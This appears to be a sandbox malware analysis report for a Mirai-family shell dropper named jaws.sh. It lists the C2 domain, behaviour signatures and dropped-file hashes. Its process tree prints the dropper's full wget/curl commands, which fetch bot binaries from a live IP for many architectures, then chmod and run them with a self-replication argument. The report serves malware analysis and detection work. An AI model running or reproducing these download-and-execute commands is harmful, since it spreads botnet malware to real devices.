Analysis

  • max time kernel
    15s
  • max time network
    16s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/10/2026, 16:57

General

  • Target
    jaws.sh
  • Size 2KB
  • Sample261003-vgpc1ashkb
  • SHA256 a2c4604122ae8071f0e36b882f3ac6dda0aee393c1fdb34db8dc4f66e8734fe8
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • sldoaikdjiqwjpdqsas.mooo.com

Extracted

Family
  • mirai

C2
  • sldoaikdjiqwjpdqsas.mooo.com

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai ARM payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 12 IoCs
  • Executes dropped EXE 13 IoCs
  • Traces itself 20 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 10 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 46 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 34 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/jaws.sh
    /tmp/jaws.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:653
    • /usr/bin/wget
      wget http://23.155.44.87/bot.x86
      2⤵
      • Writes file to tmp directory
      PID:658
    • /usr/bin/curl
      curl -O http://23.155.44.87/bot.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:682
    • /bin/cat
      cat bot.x86
      2⤵
        PID:683
      • /bin/chmod
        chmod +x bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
        2⤵
        • File and Directory Permissions Modification
        PID:684
      • /tmp/WTH
        ./WTH jaws.selfrep
        2⤵
          PID:685
        • /usr/bin/wget
          wget http://23.155.44.87/bot.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:687
        • /usr/bin/curl
          curl -O http://23.155.44.87/bot.mips
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:699
        • /bin/cat
          cat bot.mips
          2⤵
          • System Network Configuration Discovery
          PID:722
        • /bin/chmod
          chmod +x bot.mips bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
          2⤵
          • File and Directory Permissions Modification
          PID:725
        • /tmp/WTH
          ./WTH jaws.selfrep
          2⤵
            PID:728
          • /usr/bin/wget
            wget http://23.155.44.87/bot.mpsl
            2⤵
            • Writes file to tmp directory
            PID:731
          • /usr/bin/curl
            curl -O http://23.155.44.87/bot.mpsl
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:739
          • /bin/cat
            cat bot.mpsl
            2⤵
              PID:740
            • /bin/chmod
              chmod +x bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/WTH
              ./WTH jaws.selfrep
              2⤵
                PID:742
              • /usr/bin/wget
                wget http://23.155.44.87/bot.arm
                2⤵
                • Writes file to tmp directory
                PID:744
              • /usr/bin/curl
                curl -O http://23.155.44.87/bot.arm
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:768
              • /bin/cat
                cat bot.arm
                2⤵
                  PID:776
                • /bin/chmod
                  chmod +x bot.arm bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:777
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:778
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:779
                • /usr/bin/curl
                  curl -O http://23.155.44.87/bot.arm5
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:780
                • /bin/chmod
                  chmod +x bot.arm bot.arm5 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:782
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:783
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:784
                • /usr/bin/curl
                  curl -O http://23.155.44.87/bot.arm6
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:785
                • /bin/chmod
                  chmod +x bot.arm bot.arm5 bot.arm6 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:787
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:788
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.arm7
                  2⤵
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://23.155.44.87/bot.arm7
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:792
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:793
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:794
                • /usr/bin/curl
                  curl -O http://23.155.44.87/bot.ppc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:795
                • /bin/chmod
                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:797
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:798
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.m68k
                  2⤵
                  • Writes file to tmp directory
                  PID:799
                • /usr/bin/curl
                  curl -O http://23.155.44.87/bot.m68k
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:800
                • /bin/chmod
                  chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:802
                • /tmp/WTH
                  ./WTH jaws.selfrep
                  2⤵
                  • Deletes itself
                  • Traces itself
                  • Changes its process name
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:803
                • /usr/bin/wget
                  wget http://23.155.44.87/bot.spc
                  2⤵
                    PID:804
                  • /usr/bin/curl
                    curl -O http://23.155.44.87/bot.spc
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:805
                  • /bin/chmod
                    chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                    2⤵
                    • File and Directory Permissions Modification
                    PID:807
                  • /tmp/WTH
                    ./WTH jaws.selfrep
                    2⤵
                    • Deletes itself
                    • Traces itself
                    • Changes its process name
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:808
                  • /usr/bin/wget
                    wget http://23.155.44.87/bot.i686
                    2⤵
                      PID:809
                    • /usr/bin/curl
                      curl -O http://23.155.44.87/bot.i686
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:810
                    • /bin/chmod
                      chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:812
                    • /tmp/WTH
                      ./WTH jaws.selfrep
                      2⤵
                      • Deletes itself
                      • Traces itself
                      • Changes its process name
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:813
                    • /usr/bin/wget
                      wget http://23.155.44.87/bot.sh4
                      2⤵
                      • Writes file to tmp directory
                      PID:814
                    • /usr/bin/curl
                      curl -O http://23.155.44.87/bot.sh4
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:815
                    • /bin/chmod
                      chmod +x bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                      2⤵
                      • File and Directory Permissions Modification
                      PID:817
                    • /tmp/WTH
                      ./WTH jaws.selfrep
                      2⤵
                      • Deletes itself
                      • Traces itself
                      • Changes its process name
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:818
                    • /usr/bin/wget
                      wget http://23.155.44.87/bot.arc
                      2⤵
                        PID:819
                      • /usr/bin/curl
                        curl -O http://23.155.44.87/bot.arc
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:820
                      • /bin/chmod
                        chmod +x bot.arc bot.arm bot.arm5 bot.arm6 bot.arm7 bot.i686 bot.m68k bot.mips bot.mpsl bot.ppc bot.sh4 bot.spc bot.x86 jaws.sh systemd-private-193d46d9a72f490f9743b0a8d8072684-systemd-timedated.service-wyHMfy WTH
                        2⤵
                        • File and Directory Permissions Modification
                        PID:823
                      • /tmp/WTH
                        ./WTH jaws.selfrep
                        2⤵
                        • Deletes itself
                        • Traces itself
                        • Changes its process name
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:824

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          WTH

                          • Path /tmp/WTH
                          • Size 173KB
                          • SHA256 72363a98be6bc85d3df0001c1be91fe98869c19c20fcf04956b4ea538d58440f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          WTH

                          • Path /tmp/WTH
                          • Size 177KB
                          • SHA256 23adc923f7baacd4afe877f79ea81df13f581ca2350ee99c5151d75d32efdee1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          WTH

                          • Path /tmp/WTH
                          • Size 134KB
                          • SHA256 8867050a0b39fc2cbc43ba3953393fb257aa2d1f02b2e7aac9138be3da5c54c9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          bot.x86

                          • Path /tmp/bot.x86
                          • Size 90KB
                          • SHA256 7b56a0fb93baac5ce50c04fe92b6aa6f95f47f813287d1dd9306ba790ddf23b8
                          • MD5 SHA1 SHA512 SSDEEP TLSH